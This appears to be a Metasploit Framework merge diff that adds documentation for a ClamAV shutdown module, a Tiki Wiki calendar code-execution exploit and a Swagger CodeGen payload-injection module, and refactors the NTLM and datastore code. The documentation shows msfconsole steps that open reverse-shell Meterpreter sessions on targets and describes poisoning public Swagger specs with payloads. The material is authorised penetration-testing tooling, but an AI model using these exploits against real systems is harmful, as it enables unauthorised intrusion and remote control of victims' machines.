Merge branch 'master' into feature/MS-1688/net-ssh-cleanup
commit
ee2d1d4fdc
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.8)
|
||||
metasploit-framework (4.12.10)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -29,12 +29,14 @@ PATH
|
|||
rb-readline-r7
|
||||
recog
|
||||
redcarpet
|
||||
rex-java
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
tzinfo
|
||||
|
@ -211,6 +213,7 @@ GEM
|
|||
recog (2.0.21)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-java (0.1.2)
|
||||
rex-powershell (0.1.0)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other
|
||||
malicious threats.
|
||||
|
||||
clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release
|
||||
0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being
|
||||
able to shut down the service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
To install ClamAV from Ubuntu:
|
||||
|
||||
```
|
||||
$ sudo apt-get install clamav clamav-daemon
|
||||
$ sudo freshclam
|
||||
```
|
||||
|
||||
You might also need to add the following to /etc/clamav/clamd.conf:
|
||||
|
||||
```
|
||||
# TCP port address.
|
||||
# Default: no
|
||||
TCPSocket 3310
|
||||
|
||||
# TCP address.
|
||||
# By default we bind to INADDR_ANY, probably not wise.
|
||||
# Enable the following to provide some degree of protection
|
||||
# from the outside world.
|
||||
# Default: no
|
||||
TCPAddr 0.0.0.0
|
||||
|
||||
# Maximum length the queue of pending connections may grow to.
|
||||
# Default: 15
|
||||
MaxConnectionQueueLength 30
|
||||
|
||||
# Clamd uses FTP-like protocol to receive data from remote clients.
|
||||
# If you are using clamav-milter to balance load between remote clamd daemons
|
||||
# on firewall servers you may need to tune the options below.
|
||||
|
||||
# Close the connection when the data size limit is exceeded.
|
||||
# The value should match your MTA's limit for a maximum attachment size.
|
||||
# Default: 10M
|
||||
StreamMaxLength 55M
|
||||
|
||||
# Limit port range.
|
||||
# Default: 1024
|
||||
#StreamMinPort 30000
|
||||
# Default: 2048
|
||||
#StreamMaxPort 32000
|
||||
|
||||
# Maximum number of threads running at the same time.
|
||||
# Default: 10
|
||||
MaxThreads 50
|
||||
|
||||
# Waiting for data from a client socket will timeout after this time (seconds).
|
||||
# Value of 0 disables the timeout.
|
||||
# Default: 120
|
||||
ReadTimeout 300
|
||||
|
||||
# Waiting for a new job will timeout after this time (seconds).
|
||||
# Default: 30
|
||||
#IdleTimeout 60
|
||||
|
||||
# Maximum depth directories are scanned at.
|
||||
# Default: 15
|
||||
#MaxDirectoryRecursion 20
|
||||
```
|
||||
|
||||
And finally, start the service:
|
||||
|
||||
```
|
||||
$ sudo /etc/init.d/clamav-daemon start
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
clamav_control comes with two actions:
|
||||
|
||||
**VERSION**
|
||||
|
||||
This is the default action, and shows you the ClamAV version. Output example:
|
||||
|
||||
```
|
||||
msf auxiliary(clamav_control) > run
|
||||
|
||||
[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016
|
||||
```
|
||||
|
||||
**SHUTDOWN**
|
||||
|
||||
This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify
|
||||
whether is service is down or not.
|
|
@ -0,0 +1,103 @@
|
|||
## Vulnerable Application
|
||||
|
||||
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
|
||||
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
|
||||
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
**Of note, there is some discussion if 14.2 is vuln or not.**
|
||||
|
||||
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
|
||||
2. The linked app Exploit-DB has is 14.2.
|
||||
3. Its verified on Exploit-DB.
|
||||
|
||||
vs
|
||||
|
||||
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
|
||||
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
|
||||
2. `apt-get install php-xml`
|
||||
3. Normal php install at that point!
|
||||
4. After install, login as admin:admin
|
||||
5. Go to the Control Panels
|
||||
6. Click Features
|
||||
7. Enable Calendar under Main feature
|
||||
8. Click Apply
|
||||
|
||||
#### Permissions
|
||||
|
||||
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
|
||||
|
||||
1. Log in as admin
|
||||
2. From the top dropdown select permissions
|
||||
3. Check Anonymous near the top
|
||||
4. Click Assign
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software as documented above
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/tiki_calendar_exec`
|
||||
4. Do: `set rhost 10.10.10.10`
|
||||
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
|
||||
6. Do: `set payload php/bind_perl`
|
||||
7. Do: `set verbose true`
|
||||
8. Do: `check`
|
||||
|
||||
```
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[+] 10.10.10.10:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
9. Do: `exploit`
|
||||
10. You should get a shell
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 10.10.10.10:4444
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) 10.10.10.10.190
|
||||
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at first login. Default for admin is 'admin'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example running against unauthenticated calendar v14.1
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/tiki_calendar_exec
|
||||
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
|
||||
rhost => 192.168.2.190
|
||||
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
|
||||
targeturi => /t14_1/
|
||||
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(tiki_calendar_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(tiki_calendar_exec) > set username ''
|
||||
username =>
|
||||
msf exploit(tiki_calendar_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) to 192.168.2.190
|
||||
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : tikiwiki
|
||||
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
|
||||
Meterpreter : php/php
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,115 @@
|
|||
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
|
||||
|
||||
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
|
||||
|
||||
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
|
||||
|
||||
1. Start msfconsole
|
||||
2. Start a callback handler listening for a the appropriate payload (e.g.)
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
|
||||
set LHOST 192.168.68.138
|
||||
set LPORT 4444
|
||||
|
||||
run
|
||||
```
|
||||
3. Pick a target
|
||||
|
||||
## Targets
|
||||
|
||||
**NodeJS**
|
||||
|
||||
This attack injects a payload into javascript by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
set INFO_VERSION "1.0.0"
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**PHP**
|
||||
|
||||
This attack injects a payload into PHP multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set PAYLOAD php/meterpreter/reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**ruby**
|
||||
|
||||
This attack injects a payload into ruby multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set PAYLOAD ruby/shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**Java**
|
||||
|
||||
This attack injects a payload into Java by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set PAYLOAD java/jsp_shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
## Quick Test
|
||||
|
||||
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Effective against services with either these dependencies
|
||||
|
||||
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
|
||||
* public API [generator.swagger.io](http://generator.swagger.io/)
|
||||
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
|
||||
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
|
||||
|
||||
**Possible Attack approach.**
|
||||
|
||||
1. Research the target environment and component dependencies.
|
||||
2. Setup appropriate payload callback listener.
|
||||
3. generate the appropriate swagger document with associated MS payload (see above for examples)
|
||||
|
||||
|
||||
**Against a webservice (2nd order attack / blind code-gen)**
|
||||
|
||||
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
||||
**Against a code repository or public hosting of spec**
|
||||
|
||||
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
|
@ -9,11 +9,6 @@ module Metasploit
|
|||
extend ActiveSupport::Concern
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
|
@ -85,18 +80,18 @@ module Metasploit
|
|||
sname = Rex::Text.to_unicode( rhost )
|
||||
dname = Rex::Text.to_unicode( db )
|
||||
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => use_ntlm2_session,
|
||||
:use_ntlmv2 => use_ntlmv2,
|
||||
:send_lm => send_lm,
|
||||
:send_ntlm => send_ntlm
|
||||
}
|
||||
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
|
||||
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
user,
|
||||
pass,
|
||||
workstation: workstation_name,
|
||||
domain: domain_name,
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
# SQL 2012, at least, does not support KEY_EXCHANGE
|
||||
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
ntlmsspblob = type1.serialize
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
|
@ -147,44 +142,18 @@ module Metasploit
|
|||
# has a strange behavior that differs from the specifications
|
||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
||||
|
||||
if tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = proxy.send_recv(pkt)
|
||||
resp = proxy.send_recv(pkt, 15, false)
|
||||
else
|
||||
resp = mssql_send_recv(pkt)
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
end
|
||||
|
||||
# Get default data
|
||||
begin
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
|
||||
# a domain.length < 3 will hit this
|
||||
rescue NTLM_XCEPT::NTLMMissingChallenge
|
||||
return false
|
||||
end
|
||||
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
|
||||
spnopt = {:use_spn => send_spn, :name => rhost}
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
|
||||
domain_name, default_name, default_domain,
|
||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
||||
spnopt, ntlm_options)
|
||||
|
||||
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
# Strip the TDS header
|
||||
resp = resp[3..-1]
|
||||
type3 = ntlm_client.init_context([resp].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
|
||||
# Create an SSPIMessage
|
||||
idx = 0
|
||||
|
@ -199,9 +168,9 @@ module Metasploit
|
|||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt_hdr[2] = ntlmssp.length + 8
|
||||
pkt_hdr[2] = type3_blob.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
|
||||
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
||||
|
||||
if self.tdsencryption == true
|
||||
resp = mssql_ssl_send_recv(pkt, proxy)
|
||||
|
@ -387,7 +356,7 @@ module Metasploit
|
|||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
|
||||
|
@ -652,7 +621,7 @@ module Metasploit
|
|||
|
||||
idx = 0
|
||||
|
||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
|
@ -701,7 +670,7 @@ module Metasploit
|
|||
|
||||
idx = 0
|
||||
|
||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
|
@ -735,12 +704,12 @@ module Metasploit
|
|||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head and head.length == 8)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if(head[1,1] == "\x01" or not check_status )
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.12.8"
|
||||
VERSION = "4.12.10"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -1,7 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'set'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
|
@ -19,7 +16,6 @@ class DataStore < Hash
|
|||
@options = Hash.new
|
||||
@imported = Hash.new
|
||||
@imported_by = Hash.new
|
||||
@original_keys = Set.new
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -27,8 +23,7 @@ class DataStore < Hash
|
|||
# directly.
|
||||
#
|
||||
def []=(k, v)
|
||||
add_key(k)
|
||||
k = k.downcase
|
||||
k = find_key_case(k)
|
||||
@imported[k] = false
|
||||
@imported_by[k] = nil
|
||||
|
||||
|
@ -49,32 +44,31 @@ class DataStore < Hash
|
|||
# Case-insensitive wrapper around hash lookup
|
||||
#
|
||||
def [](k)
|
||||
super(k.downcase)
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around store
|
||||
#
|
||||
def store(k,v)
|
||||
add_key(k)
|
||||
super(k.downcase, v)
|
||||
super(find_key_case(k), v)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around delete
|
||||
#
|
||||
def delete(k)
|
||||
super(k.downcase)
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
# Override Hash's to_h method so we can include the original case of each key
|
||||
# (failing to do this breaks a number of places in framework and pro that use
|
||||
# serialized datastores)
|
||||
def to_h
|
||||
@original_keys.reduce({}) do |acc, key|
|
||||
acc[key] = self[key]
|
||||
acc
|
||||
end
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
# specified value, v. This update does not alter the imported status of
|
||||
# the value.
|
||||
#
|
||||
def update_value(k, v)
|
||||
self.store(k, v)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -134,15 +128,14 @@ class DataStore < Hash
|
|||
# Imports options from a hash and stores them in the datastore.
|
||||
#
|
||||
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||
option_hash.each_pair do |key, val|
|
||||
option_hash.each_pair { |key, val|
|
||||
import_option(key, val, imported, imported_by)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def import_option(key, val, imported=true, imported_by=nil, option=nil)
|
||||
self.store(key, val)
|
||||
|
||||
key = key.downcase
|
||||
@options[key] = option
|
||||
@imported[key] = imported
|
||||
@imported_by[key] = imported_by
|
||||
|
@ -152,9 +145,21 @@ class DataStore < Hash
|
|||
# Serializes the options in the datastore to a string.
|
||||
#
|
||||
def to_s(delim = ' ')
|
||||
@original_keys.reduce('') do |acc, key|
|
||||
acc << "#{key}=#{self[key]}#{delim}"
|
||||
str = ''
|
||||
|
||||
keys.sort.each { |key|
|
||||
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||
}
|
||||
|
||||
return str
|
||||
end
|
||||
|
||||
def to_h
|
||||
datastore_hash = {}
|
||||
self.keys.each do |k|
|
||||
datastore_hash[k.to_s] = self[k].to_s
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -194,10 +199,9 @@ class DataStore < Hash
|
|||
# not include default option values.
|
||||
#
|
||||
def user_defined
|
||||
@original_keys.reduce({}) do |acc, k|
|
||||
acc[k] = self[k] unless @imported[k.downcase]
|
||||
acc
|
||||
end
|
||||
reject { |k, v|
|
||||
@imported[k] == true
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -218,28 +222,42 @@ class DataStore < Hash
|
|||
# Completely clear all values in the hash
|
||||
#
|
||||
def clear
|
||||
@options.clear
|
||||
@imported.clear
|
||||
@imported_by.clear
|
||||
@original_keys.clear
|
||||
super
|
||||
self.keys.each {|k| self.delete(k) }
|
||||
self
|
||||
end
|
||||
|
||||
# Yield the original-cased key
|
||||
#
|
||||
# Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+
|
||||
# "can't add a new key into hash during iteration"
|
||||
#
|
||||
def each(&block)
|
||||
@original_keys.each do |key|
|
||||
block.call(key, self[key])
|
||||
list = []
|
||||
self.keys.sort.each do |sidx|
|
||||
list << [sidx, self[sidx]]
|
||||
end
|
||||
list.each(&block)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Keep track of the original, case-sensitive key
|
||||
def add_key(k)
|
||||
@original_keys.add(k) unless include? k.downcase
|
||||
#
|
||||
# Case-insensitive key lookup
|
||||
#
|
||||
def find_key_case(k)
|
||||
|
||||
# Scan each key looking for a match
|
||||
self.each_key do |rk|
|
||||
if (rk.downcase == k.downcase)
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
return k
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# DataStore wrapper for modules that will attempt to back values against the
|
||||
|
@ -260,7 +278,7 @@ class ModuleDataStore < DataStore
|
|||
# if we can't directly find it
|
||||
#
|
||||
def fetch(key)
|
||||
key = key.downcase
|
||||
key = find_key_case(key)
|
||||
val = nil
|
||||
val = super if(@imported_by[key] != 'self')
|
||||
if (val.nil? and @_module and @_module.framework)
|
||||
|
@ -274,7 +292,7 @@ class ModuleDataStore < DataStore
|
|||
# Same as fetch
|
||||
#
|
||||
def [](key)
|
||||
key = key.downcase
|
||||
key = find_key_case(key)
|
||||
val = nil
|
||||
val = super if(@imported_by[key] != 'self')
|
||||
if (val.nil? and @_module and @_module.framework)
|
||||
|
@ -297,10 +315,11 @@ class ModuleDataStore < DataStore
|
|||
def copy
|
||||
clone = self.class.new(@_module)
|
||||
self.keys.each do |k|
|
||||
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k.downcase], @imported_by[k.downcase])
|
||||
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
end
|
||||
clone
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -2,10 +2,6 @@
|
|||
|
||||
require 'uri'
|
||||
require 'digest'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
module Msf
|
||||
|
||||
###
|
||||
|
@ -16,15 +12,6 @@ module Msf
|
|||
###
|
||||
module Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
||||
|
||||
#
|
||||
# Initializes an exploit module that exploits a vulnerability in an HTTP
|
||||
|
@ -193,12 +180,6 @@ module Exploit::Remote::HttpClient
|
|||
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
||||
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
||||
'header_folding' => datastore['HTTP::header_folding'],
|
||||
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
|
||||
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
|
||||
'send_lm' => datastore['NTLM::SendLM'],
|
||||
'send_ntlm' => datastore['NTLM::SendNTLM'],
|
||||
'SendSPN' => datastore['NTLM::SendSPN'],
|
||||
'UseLMKey' => datastore['NTLM::UseLMKey'],
|
||||
'domain' => datastore['DOMAIN'],
|
||||
'DigestAuthIIS' => datastore['DigestAuthIIS']
|
||||
)
|
||||
|
@ -255,12 +236,6 @@ module Exploit::Remote::HttpClient
|
|||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
|
||||
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
|
||||
ntlm_send_lm: datastore['NTLM::SendLM'],
|
||||
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
|
||||
ntlm_send_spn: datastore['NTLM::SendSPN'],
|
||||
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
|
||||
ntlm_domain: datastore['DOMAIN'],
|
||||
digest_auth_iis: datastore['DigestAuthIIS']
|
||||
}.merge(conf)
|
||||
|
|
|
@ -1,11 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -21,21 +16,13 @@ module Exploit::Remote::MSSQL
|
|||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Paquet Type
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
|
@ -55,7 +42,6 @@ module Exploit::Remote::MSSQL
|
|||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
#
|
||||
|
@ -100,16 +86,13 @@ module Exploit::Remote::MSSQL
|
|||
'MsfExploit' => self,
|
||||
})
|
||||
|
||||
|
||||
ping_sock.put("\x02")
|
||||
resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
|
||||
resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
|
||||
ping_sock.close
|
||||
|
||||
return data if not resp
|
||||
return data if resp.length == 0
|
||||
|
||||
var = nil
|
||||
|
||||
return mssql_ping_parse(resp)
|
||||
end
|
||||
|
||||
|
@ -149,9 +132,9 @@ module Exploit::Remote::MSSQL
|
|||
force_enable = false
|
||||
begin
|
||||
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
|
||||
if(res[:errors] and not res[:errors].empty?)
|
||||
if(res[:errors].join =~ /xp_cmdshell/)
|
||||
if(force_enable)
|
||||
if res[:errors] && !res[:errors].empty?
|
||||
if res[:errors].join =~ /xp_cmdshell/
|
||||
if force_enable
|
||||
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
||||
raise RuntimeError, "Failed to execute command"
|
||||
else
|
||||
|
@ -167,7 +150,7 @@ module Exploit::Remote::MSSQL
|
|||
return res
|
||||
|
||||
rescue RuntimeError => e
|
||||
if(e.to_s =~ /xp_cmdshell disabled/)
|
||||
if e.to_s =~ /xp_cmdshell disabled/
|
||||
force_enable = true
|
||||
retry
|
||||
end
|
||||
|
@ -260,7 +243,7 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head and head.length == 8)
|
||||
if !(head && head.length == 8)
|
||||
return false
